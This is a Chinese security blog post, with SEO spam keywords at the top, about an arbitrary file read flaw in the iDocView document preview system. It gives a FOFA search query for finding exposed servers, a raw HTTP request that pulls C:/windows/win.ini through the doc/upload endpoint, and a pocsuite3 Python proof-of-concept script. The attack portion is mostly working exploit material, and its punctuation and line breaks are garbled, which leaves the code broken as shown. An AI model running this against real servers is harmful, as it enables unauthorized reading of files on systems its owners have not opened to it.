东阳网站建设哪家好,沈阳做网站费用,好的公司网站,工程建设报道免责声明
文章中涉及的漏洞均已修复#xff0c;敏感信息均已做打码处理#xff0c;文章仅做经验分享用途#xff0c;切勿当真#xff0c;未授权的攻击属于非法行为#xff01;文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…免责声明
文章中涉及的漏洞均已修复敏感信息均已做打码处理文章仅做经验分享用途切勿当真未授权的攻击属于非法行为文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责作者不为此承担任何责任一旦造成后果请自行负责
漏洞描述
此在线文档预览系统是一套用于在Web环境中展示和预览各种文档类型的系统如文本文档、电子表格、演示文稿、PDF文件等。此系统doc/upload接口存在任意文件读取漏洞。 fofa语句
titleI Doc View countryCN
poc加检测
GET /doc/upload?tokentesttokenurlfile:///C:/windows/win.ininamer.txt HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1 返回srcUrl拼接url poc脚本
脚本用的pocsuite框架
# _*_ coding:utf-8 _*_
# Time : 2023/12/18
# Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass idocview_docupload_fileread(POCBase):pocDesc iDocview_doc/upload接口存在任意文件读取漏洞author 炼金术师诸葛亮createDate 2023-12-18name iDocview_doc/upload接口存在任意文件读取漏洞def _verify(self):result {}url self.url /doc/upload?tokentesttokenurlfile:///C:/windows/win.ininamerand.txtheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36}try:response requests.get(url, headersheaders)if response.status_code 200 and srcUrl in response.text:response_json response.json()filepath response_json.get(srcUrl)if filepath:check_path self.url filepathcheck_response requests.get(check_path, headersheaders, verifyFalse)if check_response.status_code 200:result[VerifyInfo] {}return self.parse_output(result)except Exception as e:passregister_poc(idocview_docupload_fileread)
脚本利用